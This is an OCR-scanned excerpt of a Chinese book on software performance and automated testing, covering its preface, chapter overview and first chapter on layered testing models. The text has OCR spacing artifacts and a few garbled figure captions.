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内 容 简 介 


本 书 并 不 是 一 本 纯 技 术 书籍 ,更 像 是 一 本 系统 性 的 参考 书 , 能 帮助 读者 深入 理解 性 
能 测试 和 自动 化 测试 的 意义 ,也 能 帮助 有 多 年 工作 经 验 正 处 于 迷茫 阶段 的 朋友 排 忧 解 
难 ,还 能 给 那些 刚刚 步 和 人 管理 岗位 的 “菜鸟 们 ?提供 指导 ,尤其 是 其 中 的 团队 建设 .绩效 管 
理 等 是 很 多 读者 深 感 困惑 的 问题 ,可 以 说 是 测试 工程 师 必 读 的 一 本 书籍 。 

本 书 分 为 两 大 部 分 : 

1 一 11 章 : 以 全 新 的 角度 来 解释 什么 是 性 能 测试 和 自动 化 测试 ,不 仅 以 实际 案例 讲 
解 了 LoadRunner\JMeter、Soapui\Appium、 移 动 端 APP 测试 .前 端 性 能 、 接 口 测试 .安全 
测试 ,性 能 测试 、 自 动 化 测试 等 内 容 , 也 讲解 了 大 家 最 为 头疼 的 两 大 难题 一 一 性 能 测试 通 
用 分 析 思 路 和 报告 编写 ,同时 也 介绍 了 如 何 设计 和 开发 轻 量 级 自动 化 测试 框架 。 

12 一 14 章 : 目前 市 面 上 缺少 测试 管理 方面 的 图 书 ,而 本 部 分 内 容 以 作者 本 人 的 亲身 
经 历来 分 享 对 测试 行业 的 看 法 以 及 如 何 进 行 测试 团队 的 建设 .管理 ,绩效 考核 等 ,通俗 易 
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FOREWORD 


“因为 不 是 天 生 丽 质 , 所 以 必须 天 生 励 志 ” 一 一 这 是 我 特别 喜欢 的 一 句 
话 。 大 部 分 人 天 生 并 没有 什么 出 众 的 天 赋 , 只 能 靠 后 天 不 断 的 努力 才 行 ,这 
是 一 个 艰辛 的 过 程 ,但 是 如 果 你 换个 心态 来 体会 也 许 会 男 有 一 番 滋 味 。 

写 书 不 是 为 了 说 明 自 己 有 多 牛 ,而 是 对 知识 经 验 的 总 结 、 梳 理 与 分 享 ， 
把 想法 用 书写 的 形式 表现 出 来 而 已 ,对 于 自己 是 一 个 很 好 的 梳理 过 程 。 而 
读书 对 于 读者 来 说 也 是 很 好 的 学 习 过 程 。 对 于 读书 ,很 多 朋友 存在 认 知 上 
的 偏差 ,读书 不 是 为 了 雄辩 和 了 驳斥 ,也 不 是 为 了 轻信 和 盲从 ,而 是 为 了 思考 
和 权衡 。 

本 书 并 不 是 一 本 纯 技 术 书 籍 , 它 更 像 是 一 本 系统 性 的 参考 书 ,能 帮助 读 
者 深入 理解 性 能 测试 和 自动 化 测试 的 意义 ,也 能 帮助 有 多 年 工作 经 验 正 处 
于 迷茫 阶段 的 朋友 排忧解难 ,还 能 帮助 那些 刚刚 步 和 人 管理 岗位 的 菜鸟 们 提 
供 指导 (尤其 是 其 中 的 团队 建设 、 绩 效 管理 等 是 很 多 朋友 经 常 问 我 的 问题 ， 
以 后 我 就 不 用 再 一 遍 遍 重复 啦 ) ,可 以 说 是 测试 工程 师 必 读 的 一 本 书籍 。 当 
然 ,如 果 你 是 “高 手 、 大 牛 、 大 神 ” 等 级 别 的 人 物 , 请 自动 忽略 本 书 吧 。 

书 中 用 到 了 一 个 词 * 小 白 ”, 固 有 思维 的 朋友 可 能 会 产生 误解 ,这 里 容 我 
解释 下 .“ 小 白 ” 这 个 字眼 本 身 诠释 的 层面 就 非常 多 ,一 个 刚刚 进入 测试 行 
业 的 朋友 可 以 叫 小 白 , 一 个 工作 了 多 年 但 刚 学 习性 能 测试 的 朋友 也 可 以 叫 
小 白 ,一 个 做 过 几 次 性 能 测试 但 还 在 初级 阶段 的 朋友 也 可 以 叫 小 白 啊 。 所 
以 这 个 就 要 看 你 怎么 理解 了 。 

这 个 问题 我 们 再 衍生 来 看 , 放 到 测试 工作 中 ,假如 你 看 到 “小 白 ” 就 已 经 
把 其 含义 局 限 为 你 自 以 为 的 “小 白 *” 了 ,限制 思维 ,怎么 还 能 设计 出 更 加 完善 
的 用 例 , 覆 盖 更 多 的 测试 点 呢 ?” 跳 出 局 限 思 维 才 是 我 们 最 大 的 困难 ,而 你 的 
思维 、 格 局 决定 你 的 未 来 。 突 然 想 起 一 句 话 : 让 我 们 感到 痛苦 的 不 是 现象 本 
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身 ,是 思维 方式 。 
为 什么 要 写 这 本 书 


第 一 本 书 ( 小 强 软件 测试 疯狂 讲义 出 版 后 受到 了 大 家 的 赞誉 ,小 弟 受 
宠 若 惊 , 但 书 里 仍 有 很 多 需要 改进 的 地 方 。 而 本 书 是 希望 能 把 内 容 写 得 更 
丰满 一 些 , 但 这 里 也 想 说 明 一 点 : 我 从 来 不 认为 书 的 薄 厚 和 它 的 价值 有 任何 
关系 ,就 像 有 的 人 工作 5 年 仍然 没有 工作 1 年 的 人 拿 的 薪水 高 一 个 道理 。 测 
试 界 有 本 非常 著名 的 书籍 一 一 (软件 测试 的 艺术 》, 非 常 落 却 是 经 典 热 销 的 
书籍 。 我 也 一 直 认 为 与 其 用 废话 堆 释 字数 不 如 简 而 言 之 的 表述 更 有 价值 。 
大 家 也 可 以 看 看 腾讯 、 京 东 团 队 编 写 的 书籍 ,也 不 厚 。 所 以 ,读书 不 必 在 乎 
注 厚 ,关键 在 于 它 能 否 促 进 你 思考 。 

写 书 的 过 程 极其 累 , 费 神 费 脑 ,大 家 看 到 的 短 短 的 一 章 也 许 是 花 了 三 天 
时 间 写 出 来 的 ,字数 和 花费 时 间 往 往 不 成 正比 ,如 果 你 亲自 写 一 次 你 就 能 明 
白 我 说 的 “痛苦 ”: 太 ! 累 ! 了 ! 但 为 什么 还 要 写 呢 ? 主要 是 因为 自己 接触 
了 太 多 的 同行 ,不 论 是 在 活动 中 还 是 交流 中 , 绝 大 部 分 小 白 朋 友 对 性 能 测试 
和 自动 化 测试 没有 什么 了 解 , 有 了 解 的 也 基本 都 是 不 完善 甚至 错误 的 ,这 就 
造成 了 学 习 时 候 的 困难 ,效率 极其 低下 ,再 加 上 有 不 少 朋友 咨询 我 这 些 方 面 
的 问题 并 强烈 要 求 我 再 写 一 本 书 出 来 ,索性 满足 大 家 的 愿望 ,整理 下 这 方面 
的 经 验 , 写 成 书籍 和 大 家 一 起 交流 分 享 。 

这 里 也 请 允许 我 无 耻 地 炫耀 一 下 ,我 的 不 少 学 员 已 经 步 人 了 管理 岗位 ， 
他 们 在 初次 接触 管理 ,带领 团队 方面 经 验 还 比较 欠缺 ,而 软件 测试 方面 的 管 
理 书 籍 极 其 芽 乏 ,大 家 问 我 的 问题 也 有 很 多 共性 ,所 以 也 在 本 书 的 后 面 章 节 
中 把 自己 带 团队 、 管 理 团 队 方面 的 经 验 写 出 来 和 大 家 分 享 ,希望 能 给 大 家 带 
来 一 点 帮助 和 启发 。 

很 多 朋友 之 所 以 会 步 入 性 能 测试 、 自 动 化 测试 领域 ,也 是 因为 职业 发 展 
到 了 一 个 瓶颈 期 ,同时 感觉 迷茫 无 助 , 本 书 最 后 以 真实 的 人 物 经 历 以 及 职业 
发 展 指导 两 个 方面 来 帮助 读者 解答 疑问 ,相信 你 一 定 会 有 不 少 收获 。 


本 书面 向 的 读者 对 象 


在 阅读 技术 类 章节 时 最 好 有 一 定 的 基础 ,这 样 理解 起 来 就 会 比较 容易 。 
非 技术 类 章节 任何 人 都 可 以 阅读 。 不 过 即使 你 没有 性 能 测试 和 自动 化 测试 


的 经 验 ,抑或 是 刚 接 触 它们 ,本 书 都 会 对 你 有 所 帮助 ,至 少 在 认 知 以 及 学 习 
方法 上 会 给 你 带 来 很 大 的 帮助 。 

读者 对 象 包 括 但 不 限于 对 性 能 测试 .自动 化 测试 感 兴趣 的 测试 工程 师 、 
开发 工程 师 , 运 维 工程 师 、 测 试 经 理 以 及 希望 了 解 性 能 测试 、 自 动 化 测试 的 
各 行业 工作 者 ,特别 适合 以 下 读者 : 

口 希望 了 解 并 学 习性 能 测试 和 自动 化 测试 者 

口 已 有 一 定 基 础 , 想 继续 深入 学 习性 能 测试 和 自动 化 测试 者 

口 希望 真正 了 解 企业 级 性 能 测试 和 自动 化 测试 的 应 用 者 

口 想 寻 找 指导 性 能 测试 和 自动 化 测试 过 程 方法 的 测试 经 理 

口 想 从 别人 的 经 验 中 得 到 学 习 与 启发 者 

口 正 在 带领 团队 的 管理 者 

口 想 获取 一 些 正 能 量 者 

最 后 ,我 必须 再 次 声明 一 点 : 如 果 你 是 高手、 大 牛 、 大 神 ” 级 别 的 人 物 ， 
请 自行 绕 开 ,本 书 不 适合 你 ! 人 的 成 长 本 身 就 要 经 历 不 同 的 阶段 ,每 个 阶段 
大 家 需要 的 都 是 不 一 样 的 ,也 许 你 现在 认为 九 九 乘法 表 是 非常 幼稚 低级 的 ， 
但 对 于 一 个 孩子 来 说 九 九 乘法 表 就 非常 难 ,他 需要 学 习 , 需 要 有 资料 帮助 
他 ,一 本 书 的 好 坏 不 能 简单 地 以 内 容 的 高 级 还 是 初级 来 区 分 ,而 应 该 取决 于 
它 给 多 少 人 带 来 了 价值 ! 


如 何 阅读 本 书 


本 书 将 从 性 能 测试 和 自动 化 测试 的 方方面面 以 及 测试 团队 建设 .职业 
发 展 等 热门 话题 和 大 家 进行 分 享 ,大 致 内 容 如 下 : 

第 1 章 以 全 新 的 角度 来 解释 什么 是 性 能 测试 和 自动 化 测试 ; 

第 2 章 以 实际 案例 来 讲解 性 能 测试 工具 LoadRunner 在 业务 级 和 接口 
级 如 何 完 成 性 能 测试 ; 

第 3 章 以 实际 案例 来 讲解 JMeter 在 业务 级 和 接口 级 如 何 完成 性 能 测 
试 . 自 动 化 测试 ; 

第 4 章 通俗 地 讲解 大 家 最 为 头疼 的 两 大 难题 一 一 性 能 测试 通用 分 析 思 
路 和 报告 编写 技巧 ; 

第 5 章 以 实际 案例 来 讲解 接口 测试 工具 SoapUI 在 接口 级 如 何 完成 性 
能 测试 、 自 动 化 测试 ; 

第 6 章 以 实际 案例 来 讲解 移动 端 自 动 化 测试 框架 Appium 的 快速 入 门 ; 
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第 7 章 对 移动 APP 的 非 功能 测试 进行 了 系统 讲解 ; 

第 8 章 因 为 前 端 性 能 测试 方面 的 资料 较 少 ,所 以 本 章 详细 讲解 了 这 方面 
的 知识 ; 

第 9 章 系统 讲解 接口 测试 的 多 种 方法 ,包括 但 不 限于 利用 工具 ,利用 
Python 语言 .Fiddler 抓 包 等 ; 

第 10 章 性 能 测试 案例 分 享 ; 

第 11 章 普 及 安全 测试 的 方方面面 ,更 有 多 个 案例 分 享 ; 

第 12 章 以 本 人 的 亲身 经 历来 分 享 如 何 进行 测试 团队 的 建设 和 绩效 
考核 ; 

第 13 章 析 测试 行业 的 现状 ,并 针对 现状 来 分 析 测 试 人 员 的 职业 发 展 ; 

第 14 章 在 职 人 物 描述 个 人 真实 学 习 历 程 .心得 .方法 以 及 面试 经 历 , 再 
次 以 事实 指导 读者 ,回归 读者 的 内 心 深 处 。 

本 书 还 提供 相关 资料 ,请 扫 码 关注 公众 号 之 后 ,在 对 话 框 中 回复 “大 话 
软件 测试 "关键 字 进 行 获取 。 


勘误 和 支持 


由 于 本 人 的 水 平 . 能 力 有 限 ,编写 时 间 仓 促 , 书 中 难免 会 出 现 一 些 错 误 
或 者 不 够 准确 的 地 方 , 恳 请 读者 批评 指正 。 你 可 以 将 书 中 的 错误 发 布 在 
http:/www. xqtesting. com/blog. html, 同 时 如 果 你 遇 到 任何 问题 ,也 可 以 
加 入 我 们 的 QQ 群 : 229390571。 如 果 你 有 更 多 宝贵 的 意见 和 建议 ,可 以 发 
送 邮 件 到 邮箱 : xqtesting@qq. com ,期 待 能 够 得 到 你 们 的 真挚 反馈 。 
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有 怨言 ,所 以 本 书 也 是 为 你 而 写 。 
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我 为 什么 会 把 这 个 话题 放 到 最 开始 呢 ? 因为 这 些 年 在 企业 工作 中 、 在 
教育 领域 培训 中 接触 过 不 少 朋 友 ,在 这 个 过 程 中 我 发 现 居 然 有 95% 以 上 的 
朋友 不 明白 什么 是 性 能 测试 ,什么 是 自动 化 测试 。 这 都 不 要 紧 , 但 更 可 怕 的 
是 还 对 这 些 概念 有 巨大 的 误解 ,从 而 导致 学 习 的 时 候 走 了 很 多 弯路 ,所 以 我 
们 就 先 来 好 好 聊 聊 性 能 测试 和 自动 化 测试 到 底 是 什么 ,希望 能 帮助 大 家 更 
加 全 面 ` 深 刻 地 理解 它们 。 千 万 不 要 小 瞧 这 些 , 如 果 你 的 认 知 都 是 错 的 ,你 
怎么 可 能 学 得 对 呢 ? 

另外 ,我 也 必须 在 开篇 中 指出 一 点 : 所 有 人 的 学 习 都 需要 一 个 过 程 , 也 
许 你 身边 有 同事 已 经 经 历 了 A 阶段 到 达 了 B 阶段 ,他 或 许 会 从 技术 层面 名 
视 你 或 者 批判 你 ,但 是 你 不 要 气 馒 , 谁 都 不 是 从 娘 胎 里 出 来 就 会 说 话 、 就 会 
跑步 的 ,都 需要 经 历 这 个 特别 “低级 ”的 阶段 ,这 是 必然 。 我 们 会 一 直 坚 持 正 
能 量 ,带领 “新 人 ?成 长 ,帮助 你 完成 阶段 性 的 晓 变 。 


1.1 性 能 测试 到 底 是 什么 


这 个 问题 看 似 简单 ,但 我 相信 很 多 朋友 都 无 法 全 面 地 回答 。 可 能 知道 
的 朋友 会 说 ,性 能 测试 就 是 用 LoadRunner 或 者 JMeter 工具 搞 个 并 发 来 压 
测 系统 ; 也 可 能 有 人 会 说 ,性 能 测试 就 是 同时 让 很 多 人 访问 系统 ,看 系统 能 
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否 打 得 住 。 对 于 这 些 回答 ,我 只 能 说 对 ,但 不 够 全 面 ,也 不 够 深刻 ,只 是 把 表 
象 描述 了 一 下 而 已 。 其 实 , 真 正 的 性 能 测试 无 法 用 一 两 句 话 来 简单 概括 , 因 
为 它 涉及 的 东西 太 多 了 。 

大 部 分 小 白 朋友 把 性 能 测试 简单 理解 为 等 同 于 压 测 服务 器 ,看 服务 器 
能 不 能 打 得 住 ,但 这 只 是 其 中 的 一 方面 而 已 。 其 实 , 性 能 测试 可 以 分 为 多 个 
层级 ,每 个 层级 的 关注 点 以 及 测试 方法 等 都 不 太一 样 ,我 们 常 认为 的 是 服务 
器 端 侧 的 性 能 测试 。 至 于 性 能 测试 的 分 层 ,我 们 会 在 后 面 的 章节 中 给 大 家 
讲解 。 

那么 ,到 底 应 该 怎样 去 理解 性 能 测试 呢 ? 我 们 不 妨 换 个 角度 来 看 看 ,不 
论 是 大 家 理解 的 通过 工具 来 压 测 系统 ,还 是 号 召 100 个 人 同时 去 访问 系统 ， 
都 不 过 是 实现 的 手段 或 者 方法 而 已 ,而 我 们 更 应 该 关注 性 能 测试 的 目的 是 
什么 ,因为 目的 不 一 样 , 则 实现 的 手段 或 者 方法 就 有 可 能 不 一 样 。 所 以 ,我 
们 倒 着 来 看 看 性 能 测试 ,不 外 乎 就 是 这 么 几 个 目的 : 

(1) 压 测 系统 看 系统 的 前 端 以 及 后 端 是 否 满足 预期 (类 似 功能 测试 用 例 
中 的 预期 结果 和 实际 结果 的 概念 ); 

(2) 压 测 系统 看 系统 可 以 承受 的 最 佳 压 力 和 最 大 压力 ,以 此 来 判断 系统 
的 承受 极限 ， 

(3) 压 测 系统 看 系统 在 长 时 间 运 行 下 是 否 可 以 正常 处 理 请 求 ( 类 似 疲劳 
测试 ); 

(4) 容量 规划 , 当 系 统 越 来 越 稳定 的 时 候 ,我 们 要 提前 考虑 它 的 远景 规 
划 , 或 者 更 通俗 的 解释 就 是 * 人 无 远虑 , 必 有 近 忧 ”, 这 里 的 “远虑 ”就 是 容量 
规划 。 

这 样 一 来 就 能 明白 性 能 测试 其 实 更 多 的 是 一 个 过 程 的 统称 ,并 不 是 一 
个 具体 的 定义 ,同时 在 学 习性 能 测试 的 时 候 要 暂时 抛 开 功能 测试 的 思想 , 否 
则 很 容易 掉 进 陷阱 ,这 也 是 大 部 分 小 白 朋 友 最 容易 犯 的 错误 。 


1.2 性 能 测试 分 层 模 型 


性 能 测试 分 层 模型 是 为 了 让 大 家 更 容易 理解 和 学 习性 能 测试 而 总 结 出 
来 的 ,即使 对 于 有 一 些 经 验 的 朋友 ,这 个 分 层 模型 也 会 对 你 在 认 知 上 有 所 帮 
助 的 。 该 分 层 模 型 并 不 高 大 上 ,也 有 可 能 不 够 完善 ,只 是 对 杂乱 的 知识 做 了 
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总 结 提炼 ,但 对 于 小 白 朋 友 来 说 是 非常 好 的 良药 ,可 以 帮助 大 家 快速 、 全 面 
地 理解 性 能 测试 。 分 层 模型 如 图 1. 1 所 示 。 


| 性 能 测试 | 


-| 前 端 


网 络 


业务 级 
接口 级 
-| 单元 级 


图 1.1 性 能 测试 分 层 模 型 
下 面 我 们 就 来 看 看 这 个 性 能 测试 分 层 模 型 中 每 层 所 代表 的 含义 。 


1.2.1 前 端 层 


前 端 层 主要 是 指 用 户 看 到 的 页 面 , 比 如 电 商 网 站 的 首页 .移动 APP 的 各 
个 页 面 ,这 些 是 用 户 最 关心 的 。 对 于 用 户 而 言 ,他 们 只 会 通过 页 面 的 展现 速 
度 来 判断 一 个 系统 的 快慢 ,并 不 会 在 意 后 端 处 理 的 速度 ,所 以 我 经 常 说 即使 
后 端 优化 得 很 牛 ,但 前 端 页 面 性 能 非常 差 , 那 也 是 无 用 功 。 

以 前 这 个 层级 是 很 多 企业 和 测试 工程 师 并 不 关注 的 ,但 近 几 年 对 于 前 
端 性 能 的 要 求 越 来 越 高 ,因此 这 也 是 大 家 应 该 了 解 的 知识 。 本 书 将 在 后 面 
的 章节 中 详细 讲解 前 端 性 能 方面 的 知识 和 实践 经 验 。 

另外 ,APP 的 测试 也 是 大 家 经 常 问 我 的 问题 ,我 有 时 候 特 别 无 奈 , 大 家 
张口 就 问 :“APP 性 能 测试 怎么 做 啊 ?” 这 样 的 问题 没 法 回答 。APP 的 性 能 
测试 至 少 包括 两 个 方面 : APP 的 前 端 ,也 是 现在 业界 里 常 说 的 APP 专项 测 
试 ; APP 的 后 端 , 本 质 上 和 Web 侧 性 能 测试 一 样 。 所 以 ,在 问 之 前 一 定 要 明 
和 白 这 些 知识 ,别人 才能 有 针对 地 回答 你 。 
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1.2.2 网 络 层 


任何 系统 都 可 以 粗略 地 分 成 客户 端 、 网 络 和 服务 器 端 ,其 中 网 络 是 连接 
前 后 端的 命脉 ,网 络 质量 的 好 坏 也 有 很 大 的 影响 。 在 性 能 测试 中 可 能 遇 到 
的 情况 大 致 分 为 两 种 ,一 种 是 测试 不 同 网 络 状况 下 的 大 流量 的 表现 (一 般 接 
触 得 比较 少 ); 另 一 种 则 是 压力 机 和 服务 器 最 好 在 同一 网 段 ,不 然 压 力 无 法 
完整 地 到 达 后 端 ,会 在 网 络 层 拖 垮 ,这 样 就 没 法 较为 准确 地 评测 服务 器 端的 
性 能 情况 了 。 如 果 你 测试 的 是 移动 端 APP, 那 么 可 能 还 要 考虑 在 不 同 网 络 
状态 下 的 测试 。 对 于 网 络 层 的 性 能 测试 我 接触 得 非常 少 ,为 了 不 误 人 子弟 
这 里 就 不 班 门 弄 和 耸 了 。 大 家 的 重点 是 了 解 这 个 分 层 模 型 ,这 对 于 理解 性 能 
测试 很 重要 。 


1.2.3 后 端 层 


我 把 后 端 层 分 成 了 三 种 情况 ,也 是 绝 大 多 数 企 业 中 应 用 的 方向 ,是 大 家 
必须 了 解 和 掌握 的 。 同 时 大 家 也 要 明白 ,不 论 是 Web 端 还 是 移动 APP 端 ， 
在 后 端 层 性 能 测试 的 方法 都 是 类 似 的 。 

第 一 ,业务 级 。 通俗 点 解释 就 是 从 页 面 录 制 你 的 场景 脚本 。 比 如 ,现在 
有 一 个 小 强 电 商 网 站 ,你 要 通过 页 面 录制 脚本 完成 登录 、 浏 览 单 品 页 、 下 单 
的 流程 。 这 个 层级 我 想 大 家 是 最 熟悉 的 ,因为 LoadRunner 这 个 工具 就 是 用 
来 完成 这 样 的 流程 的 ,也 是 大 部 分 小 白 同 学 必 学 的 。 至 于 怎么 去 完成 ,我 们 
在 后 面 的 章节 中 会 详细 讲解 。 

这 种 性 能 测试 方式 有 个 致命 的 缺点 就 是 依赖 于 页 面 , 如 果 页 面 没有 开 
发 完 ,测试 就 无 法 提前 进行 ,而 现实 中 测试 时 间 往 往 被 一 味 压缩 ,所 以 如 何 
把 测试 的 切入 点 尽 可 能 地 提前 就 显得 比较 重要 了 。 而 接口 级 恰恰 就 解决 了 
这 个 问题 。 

第 二 ,接口 级 。 这 个 层级 是 大 部 分 公司 做 性 能 测试 的 首选 ,也 是 最 有 效 
率 的 方式 之 一 。 比 如 ,现在 有 一 个 登录 接口 ,你 只 需要 知道 入 参 、 出 参 以 及 
规则 等 即 可 编写 测试 接口 的 代码 ,不 需要 等 待 页 面 的 开发 ,大 大 提前 了 测试 
的 切入 点 ,但 它 要 求 测试 工程 师 有 一 定 的 编码 能 力 。 除 此 之 外 ,接口 级 测试 
的 扩展 性 强 ,可 以 通过 完成 接口 的 性 能 测试 和 功能 自动 化 测试 框架 来 提升 
效率 ,性 价 比 较 高 。 具 体 如 何 去 完 成 将 在 后 面 的 章节 中 详细 讲解 。 
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第 三 ,单元 级 。 这 个 层级 恰恰 和 接口 级 相反 ,很 多 公司 想 做 ,但 有 心 无 
力 。 大 家 将 单元 级 理解 为 类 似 * 单 元 测试 > 即 可 ,比如 ,有 一 个 PHP 代码 块 ， 
我 们 可 能 需要 测试 一 下 核心 算法 函数 的 性 能 .可 以 通过 插 桩 或 引入 单元 测 
试 框架 来 完成 ,从 而 获得 它 的 执行 时 间 .CPU 消耗 以 及 内 存 占用 率 等 信息 来 
优化 代码 性 能 ,如 图 1.2 所 示 。 


View Full Callgraph] 


Displaying top 100 functions: Sorted by Incl. Wall Time (microsec) [ES 


-一 - 12. 史 217| 100. 0 N/A 0 N/A 3 
引 25.0% 179 82.5% 76 | 0 NAS 0 NAS ta 二 
2 25.0% 92 所 . 掀 区 3 0 N/A 0 N/AS% 16.5% 480 16.5% 
引 25.0% 1 5 1 到 到 0 NAS 0 NA 吕 本 玖 00 33.19 
1 2. 区 1 0.5% 1 0.% 0 N/A 0 NAS 12 14 412 14.2% 


图 1.2 单元 级 测试 


那 为 什么 很 多 公司 做 不 起 来 单元 级 的 测试 呢 ? 可 能 有 以 下 几 个 原因 : 

(1) 业务 变化 太 快 ,涉及 的 代码 逻辑 修改 也 比较 大 ,这 样 做 单元 级 测试 
就 得 不 偿 失 了 ，; 

(2) 开发 的 朋友 们 确实 没有 太 多 的 时 间 写 单元 测试 代码 ,毕竟 业务 逻辑 
代码 写 起 来 也 很 费时 ,没有 太 多 时 间 搞 其 他 的 了 ; 

(3) 测试 工程 师 编 码 能 力 相 对 来 说 较 弱 ,能 独当一面 完成 单元 测试 的 人 
少 之 又 少 , 再 加 上 时 间 紧 迫 就 更 无 法 做 单元 级 的 测试 了 。 

了 解 这 些 分 层 后 ,也 许 有 的 朋友 会 感觉 其 中 有 些 技术 很 厉害 ,很 高 大 
上 。 可 是 我 个 人 党 得 ,不 是 用 多 么 厉害 的 技术 就 牛 ,只 有 用 合适 的 技术 带 来 
较 高 的 性 价 比 才 是 王道 。 有 和 句 话说 的 好 :“ 最 好 的 不 一 定 是 合适 的 ,只 有 合 
适 的 才能 得 到 最 好 的 效果 ”。 

看 完 这 些 不 知道 大 家 是 不 是 对 性 能 测试 有 了 不 一 样 的 了 解 。 当 然 , 这 
个 模型 不 见得 是 最 好 的 ,只 是 根据 经 验 总 i 也 有 很 大 的 改进 空间 ,我 
希望 的 是 能 通过 和 大 家 的 交流 一 起 来 完善 它 , 而 并 不 希望 争论 它 的 对 与 错 。 
本 下 
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装 和 提升 自己 ,俗话 说 得 好 :“ 你 一 个 想法 ,我 一 个 想法 ,我 们 交流 一 下 就 彼 
此 拥有 了 两 个 想法 ”, 何 乐 而 不 为 呢 ? 


1.3 自动 化 测试 到 底 是 什么 


重新 认识 性 能 测试 之 后 我 们 再 来 看 看 自动 化 测试 到 底 是 什么 。 其 实 这 
个 话题 我 在 不 同 的 场合 多 次 谈 过 ,甚至 在 我 创办 的 《 挨 踢 脱口 秀 》 中 也 专门 
做 了 一 次 节目 来 说 明 ,但 可 惜 仍然 有 很 多 朋友 对 自动 化 测试 的 认 知 是 不 完 
整 的 , 那 本 节 就 再 次 带领 大 家 重新 认识 一 下 。 

自动 化 测试 到 底 是 什么 ? 我 们 可 以 简单 地 理解 为 前 期 通过 人 工 编码 完 
成 框架 ,后 期 解放 人 力 并 自动 完成 规定 的 测试 。 更 通俗 点 可 以 这 么 理解 : 现 
在 有 小 强 1 号 和 2 号 两 个 机 器 人 ,你 对 其 中 的 小 强 1 号 机 器 人 进行 编码 告诉 
他 “在 每 天 中 午 12 点 的 时 候 给 小 强 2 号 机 器 人 一 巴掌 ,那么 当 到 了 中 午 12 
点 的 时 候 小 强 1 号 机 器 人 就 会 按照 你 的 编码 要 求 执行 ,并 给 小 强 2 号 机 器 人 
一 巴掌 ,这 样 你 就 可 以 干 其 他 事情 去 了 ,不 需要 自己 来 做 ,解放 了 人 力 ,提升 
了 效率 (莫名 地 感觉 到 自己 的 脸 被 打 了 一 巴掌 啊 ) 。 

讲 到 这 里 大 家 应 该 明白 什么 是 自动 化 测试 了 吧 ? 嘿嘿 ,你 真 以 为 自己 
明白 了 ? 我 想 这 时 候 肯 定 有 不 少 朋友 会 脱口 而 出 ,自动 化 测试 不 就 是 QTP、 
Selenium、Appium 这 些 玩意 吗 ? 如果 你 真 这 么 理解 那 还 是 不 够 完整 。 大 部 
分 朋友 都 觉得 一 说 自动 化 测试 就 是 指 UI 层 自动 化 测试 ,其 实 UI 层 自动 化 
测试 只 是 其 中 的 一 种 而 已 ,具体 的 层级 我 们 会 在 后 面 的 章节 讲解 。 

最 后 我 也 必须 提出 一 点 ,任何 无 法 服务 于 业务 的 技术 都 是 没有 价值 的 ， 
自动 化 测试 也 是 ,只 有 自动 化 测试 能 真正 地 服务 于 业务 ,并 带 来 较 高 性 价 比 
才 有 价值 ,单纯 拿 代码 堆 释 起 来 的 自动 化 测试 不 可 取 。 


1.4 自动 化 测试 是 否 万 能 


测试 领域 对 于 自动 化 测试 是 不 是 万 能 这 个 话题 也 是 一 直 争 论 不 休 , 抛 
开 一 切 虚 伪 的 目的 和 利益 ,我 简单 谈 谈 自 己 的 看 法 。 自 动 化 测试 是 否 万 能 
这 个 话题 本 身 定位 就 有 问题 , 它 一 定 要 有 一 个 前 提 才 行 ,不 然 争论 下 去 是 没 
有 意义 的 。 
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在 纯 技术 层面 来 说 自动 化 是 万 能 的 ,即使 现在 有 不 能 的 ,但 随 着 技术 的 
发 展 和 进步 一 定 会 变 为 可 能 。N 年 前 你 会 想到 在 餐厅 会 有 机 器 人 给 你 送 餐 
吗 ? 你 会 想 过 APM 系统 能 自动 完成 系统 的 性 能 监控 ,分 析 吗 ”所 以 ,站 在 
这 个 层面 来 说 ,自动 化 测试 是 万 能 的 ,并 且 会 像 硬件 一 样 , 未 来 的 成 本 会 越 
来 越 低 。 

但 在 实际 的 应 用 层面 来 说 自动 化 测试 又 不 是 万 能 的 。 这 里 说 个 真实 的 
事情 ,我 曾经 和 某 家 知名 社交 公司 的 测试 经 理 聊 过 ,他 们 当时 招 了 五 六 名 自 
动 化 测试 工程 师 来 做 Selenium 的 UI 层 自动 化 测试 ,但 最 终 还 是 没 做 起 来 ， 
最 后 只 留 下 几 名 工程 师 做 一 些 简 单 的 工作 ,主要 是 因为 成 本 和 效率 的 限制 。 
当然 ,我 举 这 个 例子 并 不 是 说 自动 化 测试 无 用 ,也 有 成 功 的 例子 ,后 面 章 节 
中 会 举 实际 例子 。 在 这 里 我 只 是 想 表 达 一 个 思想 ,借用 一 句 广告 语 “ 此 酒 虽 
好 ,但 不 易 贪 杯 哦 ”, 所 以 ,万 能 不 万 能 其 实 根 本 不 重要 ,重要 的 是 怎么 能 用 
得 “恰到好处 ”。 


1.5 自动 化 测试 分 层 模型 


我 们 全 新 认识 了 自动 化 测试 之 后 再 来 看 看 自动 化 测试 分 层 模型 ,同时 
也 会 和 大 家 聊 聊 自动 化 测试 到 底 怎么 用 才能 “恰到好处 ”。 此 模型 在 网 上 也 
看 到 过 ,不 知道 是 谁 最 先 写 出 来 的 ,总 之 感谢 此 模型 的 创造 者 ! 我 在 这 个 模 
型 上 面 做 了 一 些微 调 ,方便 小 白 朋友 们 更 好 地 理解 。 分 层 模型 如 图 1. 3 
所 示 。 


| 自动 化 测试 | 


村 [单元 | 
图 1.3 自动 化 测试 分 层 模型 
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有 了 性 能 测试 分 层 模 型 的 经 验 ,自动 化 测试 分 层 模 型 就 容易 理解 了 , 它 
主要 分 为 三 层 , 下 面 我 们 逐 层 讲 解 。 


1.5.1 UI 层 


这 是 大 部 分 朋友 理解 的 自动 化 测试 ,UI 指 的 就 是 用 户 可 以 用 肉眼 看 到 
的 页 面 。 基 本 上 我 接触 的 小 白 朋友 一 说 自动 化 测试 就 认为 是 UI 层 的 ,这 个 
误解 我 觉得 真是 太 可 怕 了 。 

我 们 先 来 聊 聊 UI 层 自 动 化 测试 的 原理 。 不 论 是 Web 端 还 是 移动 端 ， 
原理 都 是 一 样 的 ,就 是 基于 页 面 元 素 的 识别 和 定位 来 进行 模拟 用 户 行为 。 
首先 识别 到 某 个 元 素 ,比如 一 个 按钮 ,然后 定义 一 个 动作 ,比如 点 击 , 这 样 就 
通过 代码 模拟 完成 了 一 次 按钮 的 点 击 , 代 替 了 人 工 去 点 击 。 如 果 后 期 再 加 
入 数据 驱动 和 Page Object 思想 ,就 基本 可 以 形成 一 个 UI 层 自动 化 测试 杠 
架 了 。 明 白 了 这 个 道理 之 后 再 来 看 UI 层 自动 化 测试 的 适用 范围 。 

对 于 UI 层 自动 化 测试 的 适用 范围 ,我 个 人 不 建议 做 大 规模 的 应 用 ,从 
